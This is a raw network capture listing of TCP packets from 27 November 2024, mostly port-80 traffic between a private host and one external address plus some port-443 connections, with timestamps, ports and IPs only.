Nov 27, 2024 16:34:48.690335035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.690396070 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.690685034 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.690726995 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.691232920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.691386938 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.691807032 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.691896915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.692143917 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.692203045 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.692220926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.692301035 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.693475008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.693492889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.693536043 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.693553925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.693950891 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.694008112 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.694078922 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.694118023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.694925070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.694937944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.694967985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.694993973 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.695473909 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.695494890 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.695569992 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.695578098 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.695636034 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.695791960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.695879936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.695913076 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.696681023 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.696732044 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.697165966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.697206020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.697583914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.697597027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.697638035 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.698496103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.698535919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.698595047 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.698663950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.699357033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.699419975 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.699661016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.699712992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.700344086 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.700355053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.700395107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.701723099 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.701735020 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.701778889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.702409029 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.702420950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.702471018 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.703233004 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.703246117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.703277111 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.703325033 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.703901052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.703943968 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.703953981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.704015970 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.704828978 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.704885006 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.705002069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.705051899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.705796003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.705862045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.705908060 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.706649065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.706682920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.706701040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.706733942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.707539082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.707591057 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.707673073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.707729101 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.708422899 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.708468914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.708534002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.708728075 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.709400892 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.709460974 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.709465027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.709501028 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.710239887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.710252047 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.710344076 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.710344076 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.711118937 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.711168051 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.711380959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.711430073 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.712584972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.712630987 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.712651968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.712697029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.712912083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.712985039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.718041897 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.718060970 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.718139887 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.718147993 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.718193054 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.783324957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.783392906 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.783452988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.783487082 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.783741951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.783783913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.783850908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.783891916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.784614086 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.784658909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.784713030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.784775972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.785512924 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.785562992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.819641113 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.819683075 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.819770098 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.819770098 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.819786072 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.819922924 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.823684931 CET	49848	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:48.823734045 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:48.823813915 CET	49848	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:48.824203968 CET	49848	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:48.824220896 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:48.839296103 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.839330912 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.839401960 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.839401960 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.839416027 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.839571953 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.866856098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.866921902 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.866970062 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.867017984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.867238045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.867295027 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.867367983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.867432117 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.868150949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.868192911 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.868520021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.868567944 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.869080067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.869100094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.869139910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.869160891 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.869959116 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.870009899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.870261908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.870662928 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.870866060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.870915890 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.870964050 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.871782064 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.871841908 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.871902943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.871943951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.872719049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.872765064 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.873121023 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.873223066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.873595953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.873609066 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.873647928 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.874692917 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.874752998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.875180960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.875225067 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.875654936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.875696898 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.875735044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.875773907 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.876382113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.876456976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.876530886 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.876620054 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.876899004 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.876918077 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.876986980 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.876997948 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.877043962 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.877166986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.877209902 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.877327919 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.877367020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.878097057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.878137112 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.878351927 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.878406048 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.879173040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.879250050 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.879360914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.879885912 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.879939079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.880038977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.880090952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.880795956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.880918980 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.881021023 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.881062031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.881691933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.881763935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.882251024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.882297993 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.882673979 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.882692099 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.882719994 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.882740021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.883514881 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.883575916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.883682966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.883917093 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.884550095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.884593010 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.884829998 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.885068893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.885312080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.885355949 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.885618925 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.885677099 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.886238098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.886266947 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.886334896 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.887182951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.887229919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.887274981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:48.887363911 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:48.895471096 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.895499945 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.895540953 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.895555973 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:48.895606995 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.895606995 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:48.938484907 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.018789053 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.018815041 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.018944025 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.018954039 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.019043922 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.035830021 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.035852909 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.035953045 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.035962105 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.036061049 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.051959991 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.051981926 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.052048922 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.052059889 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.052269936 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.058501959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.103817940 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.103848934 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.103867054 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.103933096 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.103952885 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.103992939 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.104013920 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.131498098 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.131526947 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.131613970 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.131624937 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.131675959 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.131675959 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.146096945 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.146120071 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.146184921 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.146193981 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.146285057 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.161930084 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.161952972 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.162607908 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.162615061 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.162656069 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.178284883 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.178308964 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.178462982 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.178468943 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.178596020 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.215497971 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.215538025 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.215631008 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.215637922 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.215694904 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.215694904 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.227025986 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.227083921 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.227117062 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.227144957 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.227252007 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.227885962 CET	49836	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:49.227911949 CET	443	49836	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:49.274811983 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.274840117 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.275007963 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.275027990 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.275109053 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.316543102 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.316580057 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.316660881 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.316683054 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.316714048 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.316735029 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.392132998 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.392174959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.392208099 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.392247915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.392510891 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.392642021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.392733097 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.392764091 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.392930031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.393625021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.393781900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.393795967 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.394020081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.394171000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.394229889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.394236088 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.394295931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.395030975 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.395129919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.395399094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.396008968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.396022081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.396090031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.396938086 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.397015095 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.397471905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.397552967 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.397996902 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.398080111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.398144007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.398708105 CET	80	49777	185.215.113.206	192.168.2.7
